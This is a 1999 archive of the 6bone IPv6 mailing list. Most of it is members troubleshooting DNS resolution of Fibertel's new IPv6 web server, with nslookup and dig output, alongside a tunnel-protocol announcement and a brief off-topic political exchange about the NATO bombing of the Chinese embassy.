<DIV><FONT size=3D2>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;=20
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;We recently =
become a=20
pTLA, and i want to tell you that i installes a new WWW server if you =
want to=20
reach it it's address is <A=20
href=3D"http://www.ipv6.fibertel.com.ar">www.ipv6.fibertel.com.ar</A> or =

3ffe:3800:1::2</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT size=3D2>Thanks</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT size=3D2>Patricio Latini</FONT></DIV>
<DIV><FONT size=3D2>Fibertel TCI2</FONT></DIV>
<DIV><FONT size=3D2>Argentina</FONT></DIV></BODY></HTML>

------=_NextPart_000_008B_01BE9B1E.027C3050--


From 6bone-owner  Mon May 10 19:28:09 1999
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Date: Tue, 11 May 1999 12:27:49 +1000 (EST)
From: Peter Tattam <peter@jazz-1.trumpet.com.au>
To: Patricio Latini <platini@fibertel.com.ar>
cc: 6bone@ISI.EDU
Subject: Re: Fibertel pTLA WWW site
In-Reply-To: <008e01be9b37$27da3130$1000e818@fibertel.com.ar>
Message-ID: <Pine.BSF.3.96.990511122716.4742G-100000@jazz-1.trumpet.com.au>
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On Mon, 10 May 1999, Patricio Latini wrote:

> 6bone people:
>                        We recently become a pTLA, and i want to tell you
> that i installes a new WWW server if you want to reach it it's address is
> www.ipv6.fibertel.com.ar or 3ffe:3800:1::2
> 
> Thanks
> 
> Patricio Latini
> Fibertel TCI2
> Argentina
> 

I was able to sucessfully surf this web site.

Well done.

Peter


--
Peter R. Tattam                            peter@trumpet.com
Managing Director,    Trumpet Software International Pty Ltd
Hobart, Australia,  Ph. +61-3-6245-0220,  Fax +61-3-62450210


From 6bone-owner  Mon May 10 20:37:33 1999
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--------------3F57C82439146E38514AFF7E
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Content-Transfer-Encoding: 7bit

Patricio and all,

  I am getting a "No DNS entry found" for your URL below.

Patricio Latini wrote:

> 6bone people:                       We recently become a pTLA, and i
> want to tell you that i installes a new WWW server if you want to
> reach it it's address is www.ipv6.fibertel.com.ar or
> 3ffe:3800:1::2 Thanks Patricio LatiniFibertel TCI2Argentina

Regards,
--
Jeffrey A. Williams
CEO/DIR. Internet Network Eng/SR. Java/CORBA Development Eng.
Information Network Eng. Group. INEG. INC.
E-Mail jwkckid1@ix.netcom.com
Contact Number:  972-447-1894
Address: 5 East Kirkwood Blvd. Grapevine Texas 75208


--------------3F57C82439146E38514AFF7E
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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<BODY BGCOLOR="#FFFFFF">
Patricio and all,
<P>&nbsp; I am getting a "No DNS entry found" for your URL below.
<P>Patricio Latini wrote:
<BLOCKQUOTE TYPE=CITE><STYLE></STYLE>
<FONT SIZE=-1>6bone people:</FONT><FONT SIZE=-1>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
We recently become a pTLA, and i want to tell you that i installes a new
WWW server if you want to reach it it's address is <A HREF="http://www.ipv6.fibertel.com.ar">www.ipv6.fibertel.com.ar</A>
or 3ffe:3800:1::2</FONT>&nbsp;<FONT SIZE=-1>Thanks</FONT>&nbsp;<FONT SIZE=-1>Patricio
Latini</FONT><FONT SIZE=-1>Fibertel TCI2</FONT><FONT SIZE=-1>Argentina</FONT></BLOCKQUOTE>

<P><BR>Regards,
<BR>--
<BR>Jeffrey A. Williams
<BR>CEO/DIR. Internet Network Eng/SR. Java/CORBA Development Eng.
<BR>Information Network Eng. Group. INEG. INC.
<BR>E-Mail jwkckid1@ix.netcom.com
<BR>Contact Number:&nbsp; 972-447-1894
<BR>Address: 5 East Kirkwood Blvd. Grapevine Texas 75208
<BR>&nbsp;
</BODY>
</HTML>

--------------3F57C82439146E38514AFF7E--


From 6bone-owner  Tue May 11 05:58:18 1999
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From: "Latif LADID ( latif.ladid@tbit.dk)" <Latif.LADID@village.uunet.lu>
Reply-To: "latif.ladid@tbit.dk" <latif.ladid@tbit.dk>
To: "'IPv6 Deployment List'" <deployment@ipv6.org>,
        "'6BONE List'"
	 <6bone@ISI.EDU>,
        "'Tasos Dagiuklas'" <ntan@intracom.gr>
Cc: "'Vinton G. Cerf'" <vcerf@MCI.NET>,
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	 <brian@hursley.ibm.com>,
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        "'Martin Sten'" <Martin@netmedia.fi>
Cc: "'Jun Murai'" <jun@wide.ad.jp>,
        "'Remy Bayou'"
	 <Remy.Bayou@bxl.dg13.cec.be>,
        "'Franck Boissiere'"
	 <franck.boissiere@dg13.cec.be>,
        "'Peter Heywood'"
	 <pheywood@data.com>,
        "'Peter Kirstein'" <p.kirstein@cs.ucl.ac.uk>,
        "'Patrick Cocquet'" <patrick.cocquet@detexis.thomson-csf.com>
Cc: "'Marc Blanchet'" <Marc.Blanchet@viagenie.qc.ca>
Subject: INTRACOM Greece Joins the IPv6 FORUM '' Founding Members'' 
Date: Tue, 11 May 1999 14:52:00 +0200
Organization: Telebit Communications A/S
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Dear Tasos,

Thanks for the good news in joining the IPv6 FORUM!

We are very pleased to welcome INTRACOM in Greece as one the Official 'Founding 
Members' of the IPv6 FORUM.

Thanks for your initiative!

R,
/Latif

Dear Latif,

Would you please send me the details on how to proceed with the registration 
fee of the IPv6 Forum.


Best Regards
Tasos
====================================================
Tasos Dagiuklas Ph.D.
Development Programmes Department
Advanced Communications Technologies
INTRACOM S.A
19 Km Markopoulou Ave  Tel:  ++30 1 6690368 (direct)
Paiania                       ++30 1 6860000 (ext 4368)
190 02                  Fax:  ++30 1 6860312
Athens                  Email:ntan@intracom.gr
GREECE
====================================================






From 6bone-owner  Tue May 11 06:24:11 1999
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I am looking into connecting to the 6bone but everything I have read seems
to indicate that the box I am going to establish the tunnel with needs to
have a static ipv4 address. I was wondering if it can be done with a
dynamic address or is is just much easier to use static addresses?

////////////////////////////////////////////////
   E-mail  : tatsu@tatsu.dynip.com              
   Web Page: http://tatsu.dynip.com/            
   PGP Key : http://tatsu.dynip.com/tatsu.asc   
   Uptime  : 2 days 12:02
   Load    : 2.00 2.00 2.00
////////////////////////////////////////////////


From 6bone-owner  Wed May 12 09:23:55 1999
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Date: Wed, 12 May 1999 09:36:48 +0100
From: Jeff Williams <jwkckid1@ix.netcom.com>
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To: Peter Tattam <peter@jazz-1.trumpet.com.au>
CC: Patricio Latini <platini@fibertel.com.ar>, 6bone@ISI.EDU
Subject: Re: Fibertel pTLA WWW site
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Peter and all,

  I am sorry, but I was NOT able to resolve this Domain name or
site.  "DNS No entry found"  Whiis also shows NO DNS entry
for .fibertel.com.ar either.  What gives?

Peter Tattam wrote:

> On Mon, 10 May 1999, Patricio Latini wrote:
>
> > 6bone people:
> >                        We recently become a pTLA, and i want to tell you
> > that i installes a new WWW server if you want to reach it it's address is
> > www.ipv6.fibertel.com.ar or 3ffe:3800:1::2
> >
> > Thanks
> >
> > Patricio Latini
> > Fibertel TCI2
> > Argentina
> >
>
> I was able to sucessfully surf this web site.
>
> Well done.
>
> Peter
>
> --
> Peter R. Tattam                            peter@trumpet.com
> Managing Director,    Trumpet Software International Pty Ltd
> Hobart, Australia,  Ph. +61-3-6245-0220,  Fax +61-3-62450210

Regards,

--
Jeffrey A. Williams
CEO/DIR. Internet Network Eng/SR. Java/CORBA Development Eng.
Information Network Eng. Group. INEG. INC.
E-Mail jwkckid1@ix.netcom.com
Contact Number:  972-447-1894
Address: 5 East Kirkwood Blvd. Grapevine Texas 75208



From 6bone-owner  Wed May 12 09:33:32 1999
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From: "rob" <rob@consoftware.com>
To: "'Chen Maoke'" <danny@public.bjnet.edu.cn>, <6bone@ISI.EDU>
Subject: RE: REMONSTRATE RAVEGENCE OF US AND NATO
Date: Wed, 12 May 1999 12:19:50 -0400
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Let's keep comments in this newsgroup to IPv6. However, I would like to
comment on your comment "this kind of behavior which VIOLATES the Peace of
the World". How can you possibly make a comment like that regarding the US
and NATO taking action on what was a slaughtering of innocent women and
children. Maybe you haven't seen the footage of how the innocent people of
Kosovo were being brutally murdered by Serbian soldiers. I know it is
nothing new and may seem normal to the people of China and other Communist
empires to kill. Here in the United States we are disgusted by this kind of
behavior and you can bet your Yen that when we see INNOCENT women and
children brutally killed strictly for Communist gain we will show the
opposition exactly what it feels like to be the little guy. Did you think we
just decided to bomb Yugoslavia? Your country never bombed anyone did they?
They never killed women and children did they? I wonder what you would do if
you lived in Kosov and your family was killed by Serbian troops. Would you
want the whole world just to stand around and watch? Of course not! Like I
said, let's keep this kind of trash out of this newsgroup. I also apologize
for this posting but these students make me sick by their uneducated view on
this crisis.


-----Original Message-----
From: owner-6bone@ISI.EDU [mailto:owner-6bone@ISI.EDU]On Behalf Of Chen
Maoke
Sent: Monday, May 10, 1999 9:03 AM
To: 6bone@ISI.EDU
Subject: REMONSTRATE RAVEGENCE OF US AND NATO



Folks,

The Chinese Embassy in Yugoslavia had been bombed by NATO with 3 missles
from different directions!

We, chinese students and fellows, are deeply shocked and hurted by this most
ravegent instrusion!

WE ARE SHOWING OUR STRONGEST REMONSTRATION TO US AND NATO!

We believe, that all people who love the Peace WILL be against this kind of
unhuman behaviors!

Sorry for that this is NOT an academic message, but I cannot help showing my
vehemancy! Please forward this message and/or your feelings, if you do hate
this kind of behavior which VIOLATES the Peace of the World and
the Dominion of an independent Nation and the Human Rights!

Thanks,

Students in China IPv6 Activities



From 6bone-owner  Wed May 12 12:57:52 1999
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Subject: Re: Fibertel pTLA WWW site
To: jwkckid1@ix.netcom.com (Jeff Williams)
Date: Wed, 12 May 1999 12:55:56 -0700 (PDT)
Cc: peter@jazz-1.trumpet.com.au (Peter Tattam),
        platini@fibertel.com.ar (Patricio Latini), 6bone@ISI.EDU
In-Reply-To: <37393D9E.9B93D69C@ix.netcom.com> from "Jeff Williams" at May 12, 1999 09:36:48 AM
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Jeff, 
	whiis (?) is unknown to me as a DNS manipulator. whois (perhaps
what you were really after) has two strikes against it; it is not a DNS
manipulator -and- is not hierarchical and so unless you were
pointing to the correct server, it would not provide you with any data.

DIG indicates that while fibertel.com.ar is delegated, the subzone 
ipv6 is not. 

This site has not yet registered in the ipv6 inverse tree. 

;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 10
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0
;; QUERY SECTION:
;;      ipv6.fibertel.com.ar, type = A, class = IN

;; AUTHORITY SECTION:
fibertel.com.ar.        165w2d9h46m39s IN SOA  dns1.cvtci.com.ar. noc.fibertel.com.ar. (
            ...
)

The prefix does show up in the routing system though, so it is in
similar company with large parts of the IPv4 world.  


> 
> Peter and all,
> 
>   I am sorry, but I was NOT able to resolve this Domain name or
> site.  "DNS No entry found"  Whiis also shows NO DNS entry
> for .fibertel.com.ar either.  What gives?
> 
> Peter Tattam wrote:
> 
> > On Mon, 10 May 1999, Patricio Latini wrote:
> >
> > > 6bone people:
> > >                        We recently become a pTLA, and i want to tell you
> > > that i installes a new WWW server if you want to reach it it's address is
> > > www.ipv6.fibertel.com.ar or 3ffe:3800:1::2
> > >
> > > Thanks
> > >
> > > Patricio Latini
> > > Fibertel TCI2
> > > Argentina
> > >
> >
> > I was able to sucessfully surf this web site.
> >
> > Well done.
> >
> > Peter
> >
> > --
> > Peter R. Tattam                            peter@trumpet.com
> > Managing Director,    Trumpet Software International Pty Ltd
> > Hobart, Australia,  Ph. +61-3-6245-0220,  Fax +61-3-62450210
> 
> Regards,
> 
> --
> Jeffrey A. Williams
> CEO/DIR. Internet Network Eng/SR. Java/CORBA Development Eng.
> Information Network Eng. Group. INEG. INC.
> E-Mail jwkckid1@ix.netcom.com
> Contact Number:  972-447-1894
> Address: 5 East Kirkwood Blvd. Grapevine Texas 75208
> 
> 
> 


-- 
--bill

From 6bone-owner  Wed May 12 14:01:24 1999
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Date: Wed, 12 May 1999 21:53:17 +0100
To: Jeff Williams <jwkckid1@ix.netcom.com>
From: Peter Curran <pcurran@ticl.co.uk>
Subject: Re: Fibertel pTLA WWW site
Cc: Peter Tattam <peter@jazz-1.trumpet.com.au>,
        Patricio Latini <platini@fibertel.com.ar>, 6bone@ISI.EDU
In-Reply-To: <37393D9E.9B93D69C@ix.netcom.com>
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Just to add to the confusion....

I have no problem resolving the name or accessing the site (quite good
performance actually).

Must be a problem at your end - possibly DNS?

Peter
TICL

At 09:36 12/05/99 +0100, Jeff Williams wrote:
>Peter and all,
>
>  I am sorry, but I was NOT able to resolve this Domain name or
>site.  "DNS No entry found"  Whiis also shows NO DNS entry
>for .fibertel.com.ar either.  What gives?
>
>Peter Tattam wrote:
>
>> On Mon, 10 May 1999, Patricio Latini wrote:
>>
>> > 6bone people:
>> >                        We recently become a pTLA, and i want to tell you
>> > that i installes a new WWW server if you want to reach it it's address is
>> > www.ipv6.fibertel.com.ar or 3ffe:3800:1::2
>> >
>> > Thanks
>> >
>> > Patricio Latini
>> > Fibertel TCI2
>> > Argentina
>> >
>>
>> I was able to sucessfully surf this web site.
>>
>> Well done.
>>
>> Peter
>>
>> --
>> Peter R. Tattam                            peter@trumpet.com
>> Managing Director,    Trumpet Software International Pty Ltd
>> Hobart, Australia,  Ph. +61-3-6245-0220,  Fax +61-3-62450210
>
>Regards,
>
>--
>Jeffrey A. Williams
>CEO/DIR. Internet Network Eng/SR. Java/CORBA Development Eng.
>Information Network Eng. Group. INEG. INC.
>E-Mail jwkckid1@ix.netcom.com
>Contact Number:  972-447-1894
>Address: 5 East Kirkwood Blvd. Grapevine Texas 75208
> 
==============================================================
Peter Curran			pcurran@ticl.co.uk    http://www.ticl.co.uk
Consultant and Author
PGP key available from http://wwwkeys.uk.pgp.net:11371 or
ldap://certserver.pgp.com
PubKey Fingerprint =  5F94 D9A9 45EC 40A7 FB24  18BE 9C2E 74D6 E051 7F1F
===============================================================


From 6bone-owner  Wed May 12 18:02:33 1999
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Date: Wed, 12 May 1999 18:02:22 -0700
To: "rob" <rob@consoftware.com>
From: Bob Fink <fink@es.net>
Subject: Re: 6bone list usage
Cc: Chen Maoke <danny@public.bjnet.edu.cn>, <6bone@ISI.EDU>
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Rob,

I have asked that off-topic email not be sent to the 6bone list. 

Please (everyone) don't send any more off-topic mailings.


Thanks,

Bob Fink

Co-chair of ngtrans and 6bone project lead

===
>Date: Sat, 08 May 1999 19:57:38 -0700
>To: 6BONE List <6bone@ISI.EDU>
>From: Bob Fink <fink@es.net>
>Subject: 6bone list usage
>
>6bone Folk,
>
>With due respect for everyone's opinion, and the appropriate use of the 
>6bone list, please do not post non-6bone topics to the list.
>
>If you still see someone posting off-topic email to the list, please do not 
>respond to it. The 6bone list maintainer and ngtrans co-chair will deal with 
>it.
>
>
>Thanks,
>
>Bob



From 6bone-owner  Wed May 12 18:48:40 1999
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From: "Patricio Latini" <platini@fibertel.com.ar>
To: <6bone@ISI.EDU>
Subject: New DNS server for IPv6 in Fibertel
Date: Wed, 12 May 1999 22:49:37 -0300
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This is a multi-part message in MIME format.

------=_NextPart_000_0068_01BE9CC9.B65CFEE0
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	charset="iso-8859-1"
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Hello 6bone People:
                              Due to the grow of this project in my =
company i installed a new DNS server for the domain =
ipv6.fibertel.com.ar.
This server supports AAAA records and you can reach using it the =
www.ipv6.fibertel.com.ar WWW server 3ffe:3800:1::2 and my ipv6 router =
cisco.ipv6.fibertel.com.ar (3ffe.3800:1::1).
you can also reach my ipv4 running version of the www server at =
www-ipv4.ipv6.fibertel.com.ar.

i would like to hear toy comments about if it is working from all the =
6bone.

Thanks

Patricio Latini
IPv6 Project Manager
Fibertel TCI2
Argentina

------=_NextPart_000_0068_01BE9CC9.B65CFEE0
Content-Type: text/html;
	charset="iso-8859-1"
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<!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN">
<HTML><HEAD>
<META content=3Dtext/html;charset=3Diso-8859-1 =
http-equiv=3DContent-Type>
<STYLE></STYLE>

<META content=3D'"MSHTML 5.00.0910.1309"' name=3DGENERATOR></HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT size=3D2>Hello 6bone People:</FONT></DIV>
<DIV><FONT size=3D2>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;=20
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;=20
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Due to the grow of this project in my =
company i=20
installed a new DNS server for the domain =
ipv6.fibertel.com.ar.</FONT></DIV>
<DIV><FONT size=3D2>This server supports AAAA records and you can reach =
using it=20
the <A =
href=3D"http://www.ipv6.fibertel.com.ar">www.ipv6.fibertel.com.ar</A> =
WWW=20
server 3ffe:3800:1::2 and my ipv6 router cisco.ipv6.fibertel.com.ar=20
(3ffe.3800:1::1).</FONT></DIV>
<DIV><FONT size=3D2>you can also reach my ipv4 running version of the =
www server=20
at www-ipv4.ipv6.fibertel.com.ar.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT size=3D2>i would like to hear toy comments about if it is =
working from=20
all the 6bone.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT size=3D2>Thanks</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT size=3D2>Patricio Latini</FONT></DIV>
<DIV><FONT size=3D2>IPv6 Project Manager</FONT></DIV>
<DIV><FONT size=3D2>Fibertel TCI2</FONT></DIV>
<DIV><FONT size=3D2>Argentina</FONT></DIV></BODY></HTML>

------=_NextPart_000_0068_01BE9CC9.B65CFEE0--


From 6bone-owner  Wed May 12 18:52:47 1999
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Message-ID: <3739C2C4.69B18FED@ix.netcom.com>
Date: Wed, 12 May 1999 19:04:54 +0100
From: Jeff Williams <jwkckid1@ix.netcom.com>
Organization: INEG. Inc.
X-Mailer: Mozilla 4.08 [en] (Win16; I)
MIME-Version: 1.0
To: Peter Curran <pcurran@ticl.co.uk>
CC: Peter Tattam <peter@jazz-1.trumpet.com.au>,
        Patricio Latini <platini@fibertel.com.ar>, 6bone@ISI.EDU
Subject: Re: Fibertel pTLA WWW site
X-Priority: 2 (High)
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Peter,

  Well I thought that at first too.  But after checking, I can find no problem
with DNS on my end here.  Everything else resolves fine.  I did a whois
off of RIPE and they cannot resolve this Domain either.

Peter Curran wrote:

> Just to add to the confusion....
>
> I have no problem resolving the name or accessing the site (quite good
> performance actually).
>
> Must be a problem at your end - possibly DNS?
>
> Peter
> TICL
>
> At 09:36 12/05/99 +0100, Jeff Williams wrote:
> >Peter and all,
> >
> >  I am sorry, but I was NOT able to resolve this Domain name or
> >site.  "DNS No entry found"  Whiis also shows NO DNS entry
> >for .fibertel.com.ar either.  What gives?
> >
> >Peter Tattam wrote:
> >
> >> On Mon, 10 May 1999, Patricio Latini wrote:
> >>
> >> > 6bone people:
> >> >                        We recently become a pTLA, and i want to tell you
> >> > that i installes a new WWW server if you want to reach it it's address is
> >> > www.ipv6.fibertel.com.ar or 3ffe:3800:1::2
> >> >
> >> > Thanks
> >> >
> >> > Patricio Latini
> >> > Fibertel TCI2
> >> > Argentina
> >> >
> >>
> >> I was able to sucessfully surf this web site.
> >>
> >> Well done.
> >>
> >> Peter
> >>
> >> --
> >> Peter R. Tattam                            peter@trumpet.com
> >> Managing Director,    Trumpet Software International Pty Ltd
> >> Hobart, Australia,  Ph. +61-3-6245-0220,  Fax +61-3-62450210
> >
> >Regards,
> >
> >--
> >Jeffrey A. Williams
> >CEO/DIR. Internet Network Eng/SR. Java/CORBA Development Eng.
> >Information Network Eng. Group. INEG. INC.
> >E-Mail jwkckid1@ix.netcom.com
> >Contact Number:  972-447-1894
> >Address: 5 East Kirkwood Blvd. Grapevine Texas 75208
> >
> ==============================================================
> Peter Curran                    pcurran@ticl.co.uk    http://www.ticl.co.uk
> Consultant and Author
> PGP key available from http://wwwkeys.uk.pgp.net:11371 or
> ldap://certserver.pgp.com
> PubKey Fingerprint =  5F94 D9A9 45EC 40A7 FB24  18BE 9C2E 74D6 E051 7F1F
> ===============================================================

Regards,

--
Jeffrey A. Williams
CEO/DIR. Internet Network Eng/SR. Java/CORBA Development Eng.
Information Network Eng. Group. INEG. INC.
E-Mail jwkckid1@ix.netcom.com
Contact Number:  972-447-1894
Address: 5 East Kirkwood Blvd. Grapevine Texas 75208



From 6bone-owner  Wed May 12 19:06:28 1999
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From: "Patricio Latini" <platini@fibertel.com.ar>
To: "Jeff Williams" <jwkckid1@ix.netcom.com>,
        "Peter Curran" <pcurran@ticl.co.uk>
Cc: "Peter Tattam" <peter@jazz-1.trumpet.com.au>, <6bone@ISI.EDU>
Subject: Re: Fibertel pTLA WWW site
Date: Wed, 12 May 1999 23:06:24 -0300
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Jeff I made a nslookup based on your server and i saw that your registries
are not update since many time ago i dont know why but the version of names
of my organization that is cached on your organization nameserver
(as1.netcom.com) is very old.

Regards

Patricio Latini
Ipv6 Project Manager
Fibertel TCI2

----- Original Message -----
From: Jeff Williams <jwkckid1@ix.netcom.com>
To: Peter Curran <pcurran@ticl.co.uk>
Cc: Peter Tattam <peter@jazz-1.trumpet.com.au>; Patricio Latini
<platini@fibertel.com.ar>; <6bone@ISI.EDU>
Sent: Miércoles 12 de Mayo de 1999 15:04
Subject: Re: Fibertel pTLA WWW site


>Peter,
>
>  Well I thought that at first too.  But after checking, I can find no
problem
>with DNS on my end here.  Everything else resolves fine.  I did a whois
>off of RIPE and they cannot resolve this Domain either.
>
>Peter Curran wrote:
>
>> Just to add to the confusion....
>>
>> I have no problem resolving the name or accessing the site (quite good
>> performance actually).
>>
>> Must be a problem at your end - possibly DNS?
>>
>> Peter
>> TICL
>>
>> At 09:36 12/05/99 +0100, Jeff Williams wrote:
>> >Peter and all,
>> >
>> >  I am sorry, but I was NOT able to resolve this Domain name or
>> >site.  "DNS No entry found"  Whiis also shows NO DNS entry
>> >for .fibertel.com.ar either.  What gives?
>> >
>> >Peter Tattam wrote:
>> >
>> >> On Mon, 10 May 1999, Patricio Latini wrote:
>> >>
>> >> > 6bone people:
>> >> >                        We recently become a pTLA, and i want to tell
you
>> >> > that i installes a new WWW server if you want to reach it it's
address is
>> >> > www.ipv6.fibertel.com.ar or 3ffe:3800:1::2
>> >> >
>> >> > Thanks
>> >> >
>> >> > Patricio Latini
>> >> > Fibertel TCI2
>> >> > Argentina
>> >> >
>> >>
>> >> I was able to sucessfully surf this web site.
>> >>
>> >> Well done.
>> >>
>> >> Peter
>> >>
>> >> --
>> >> Peter R. Tattam                            peter@trumpet.com
>> >> Managing Director,    Trumpet Software International Pty Ltd
>> >> Hobart, Australia,  Ph. +61-3-6245-0220,  Fax +61-3-62450210
>> >
>> >Regards,
>> >
>> >--
>> >Jeffrey A. Williams
>> >CEO/DIR. Internet Network Eng/SR. Java/CORBA Development Eng.
>> >Information Network Eng. Group. INEG. INC.
>> >E-Mail jwkckid1@ix.netcom.com
>> >Contact Number:  972-447-1894
>> >Address: 5 East Kirkwood Blvd. Grapevine Texas 75208
>> >
>> ==============================================================
>> Peter Curran                    pcurran@ticl.co.uk
http://www.ticl.co.uk
>> Consultant and Author
>> PGP key available from http://wwwkeys.uk.pgp.net:11371 or
>> ldap://certserver.pgp.com
>> PubKey Fingerprint =  5F94 D9A9 45EC 40A7 FB24  18BE 9C2E 74D6 E051 7F1F
>> ===============================================================
>
>Regards,
>
>--
>Jeffrey A. Williams
>CEO/DIR. Internet Network Eng/SR. Java/CORBA Development Eng.
>Information Network Eng. Group. INEG. INC.
>E-Mail jwkckid1@ix.netcom.com
>Contact Number:  972-447-1894
>Address: 5 East Kirkwood Blvd. Grapevine Texas 75208
>
>


From 6bone-owner  Wed May 12 21:28:05 1999
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Date: Thu, 13 May 1999 14:27:48 +1000 (EST)
From: Peter Tattam <peter@jazz-1.trumpet.com.au>
Reply-To: Peter Tattam <peter@jazz-1.trumpet.com.au>
To: deployment@ipv6.org, 6bone@ISI.EDU, ipng@sunroof.eng.sun.com
Subject: Yet another Dynamic Tunnel Configuration Protocol
Message-ID: <Pine.BSF.3.96.990513141623.3760A-100000@jazz-1.trumpet.com.au>
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I am publishing a draft specification of a tunnel configuration protocol that I
have designed and implemented.  Another implementation was quickly
developed by the KAME group, to which we obtained good interoperability.

HTTP://jazz-1.trumpet.com.au/ipv6-draft/dtcp-draft-prt-13-may-1999.htm

Comments either to me or to the lists.

I will be using this protocol or further derivations of it to roll out IPv6 to
our regular IPv4 internet customers. 

Apologies if this is sent to the wrong lists, or if I have duplicated the work
of others.  I did review the tunnel broker model and I believe that this
protocol can only serve to complement it.

Peter

--
Peter R. Tattam                            peter@trumpet.com
Managing Director,    Trumpet Software International Pty Ltd
Hobart, Australia,  Ph. +61-3-6245-0220,  Fax +61-3-62450210


From 6bone-owner  Wed May 12 22:13:55 1999
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Message-ID: <3739F219.81041648@ix.netcom.com>
Date: Wed, 12 May 1999 22:26:52 +0100
From: Jeff Williams <jwkckid1@ix.netcom.com>
Organization: INEG. Inc.
X-Mailer: Mozilla 4.08 [en] (Win16; I)
MIME-Version: 1.0
To: bmanning@ISI.EDU
CC: Peter Tattam <peter@jazz-1.trumpet.com.au>,
        Patricio Latini <platini@fibertel.com.ar>, 6bone@ISI.EDU
Subject: Re: Fibertel pTLA WWW site
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Bill and all,

bmanning@ISI.EDU wrote:

> Jeff,
>         whiis (?) is unknown to me as a DNS manipulator. whois (perhaps
> what you were really after) has two strikes against it; it is not a DNS
> manipulator -and- is not hierarchical and so unless you were
> pointing to the correct server, it would not provide you with any data.

  Sorry for the mistype on my part as it relates to "Whiis".  I did mean
to type "Whois".  I was pointing towards fibertel.com.ar in my query.


>
>
> DIG indicates that while fibertel.com.ar is delegated, the subzone
> ipv6 is not.

  Well you know as well as I do that DIG will give any of the results
you choose for DIG to provide.  Hence it is not a very accurate
tool to use for this query.  I am checking into in further however to
assess where the problem well be.

>
>
> This site has not yet registered in the ipv6 inverse tree.

  Well than it is likely that this is the case it is understandable
why it is not reachable, and therefor likely a lame delegation.

>
>
> ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 10
> ;; flags: qr aa rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0
> ;; QUERY SECTION:
> ;;      ipv6.fibertel.com.ar, type = A, class = IN
>
> ;; AUTHORITY SECTION:
> fibertel.com.ar.        165w2d9h46m39s IN SOA  dns1.cvtci.com.ar. noc.fibertel.com.ar. (

 Fibertel.com.ar does not resolve.  Nor is it available via Whois.  Hence the
problem I believe here.  But I am still checking.  I shall update everyone on my
findings as I come across them.

>
>             ...
> )
>
> The prefix does show up in the routing system though, so it is in
> similar company with large parts of the IPv4 world.

  Yes, understood Bill.  But if proper tunneling is done, there should be
no resolving problem.  And it appears that there is.  AOL cannot resolve
this address either.

>
>
> >
> > Peter and all,
> >
> >   I am sorry, but I was NOT able to resolve this Domain name or
> > site.  "DNS No entry found"  Whiis also shows NO DNS entry
> > for .fibertel.com.ar either.  What gives?
> >
> > Peter Tattam wrote:
> >
> > > On Mon, 10 May 1999, Patricio Latini wrote:
> > >
> > > > 6bone people:
> > > >                        We recently become a pTLA, and i want to tell you
> > > > that i installes a new WWW server if you want to reach it it's address is
> > > > www.ipv6.fibertel.com.ar or 3ffe:3800:1::2
> > > >
> > > > Thanks
> > > >
> > > > Patricio Latini
> > > > Fibertel TCI2
> > > > Argentina
> > > >
> > >
> > > I was able to sucessfully surf this web site.
> > >
> > > Well done.
> > >
> > > Peter
> > >
> > > --
> > > Peter R. Tattam                            peter@trumpet.com
> > > Managing Director,    Trumpet Software International Pty Ltd
> > > Hobart, Australia,  Ph. +61-3-6245-0220,  Fax +61-3-62450210
> >
> > Regards,
> >
> > --
> > Jeffrey A. Williams
> > CEO/DIR. Internet Network Eng/SR. Java/CORBA Development Eng.
> > Information Network Eng. Group. INEG. INC.
> > E-Mail jwkckid1@ix.netcom.com
> > Contact Number:  972-447-1894
> > Address: 5 East Kirkwood Blvd. Grapevine Texas 75208
> >
> >
> >
>
> --
> --bill

Regards,

--
Jeffrey A. Williams
CEO/DIR. Internet Network Eng/SR. Java/CORBA Development Eng.
Information Network Eng. Group. INEG. INC.
E-Mail jwkckid1@ix.netcom.com
Contact Number:  972-447-1894
Address: 5 East Kirkwood Blvd. Grapevine Texas 75208



From 6bone-owner  Wed May 12 22:32:13 1999
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Date: Wed, 12 May 1999 22:44:42 +0100
From: Jeff Williams <jwkckid1@ix.netcom.com>
Organization: INEG. Inc.
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To: "Roman V. Palagin" <romanp@wuppy.net.ru>
CC: Peter Curran <pcurran@ticl.co.uk>,
        Peter Tattam <peter@jazz-1.trumpet.com.au>,
        Patricio Latini <platini@fibertel.com.ar>, 6bone@ISI.EDU
Subject: Re: Fibertel pTLA WWW site
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Roman and all,

Roman V. Palagin wrote:

> On Wed, 12 May 1999, Peter Curran wrote:
>
> > Just to add to the confusion....
> >
> > I have no problem resolving the name or accessing the site (quite good
> > performance actually).
> I confirm this - may be problem at your end?
>
> Default Server:  ns.wuppy.net.ru
> Address:  195.9.65.100

 This IP address from http://www.nic.ar/consultas/hosts.htm shows
as not valid status.

>
>
> > set q=aaaa
> > www.ipv6.fibertel.com.ar.
> Server:  ns.wuppy.net.ru
> Address:  195.9.65.100

  Again http://www.nic.ar/consultas/hosts.htm shows this IP address as well
as the com.ar as not valid.

>
>
> Non-authoritative answer:
> Name:    www.ipv6.fibertel.com.ar
> Address:  3ffe:3800:1::2

  And again http://www.nic.ar/consultas/hosts.htm shows this IPv6 IP address
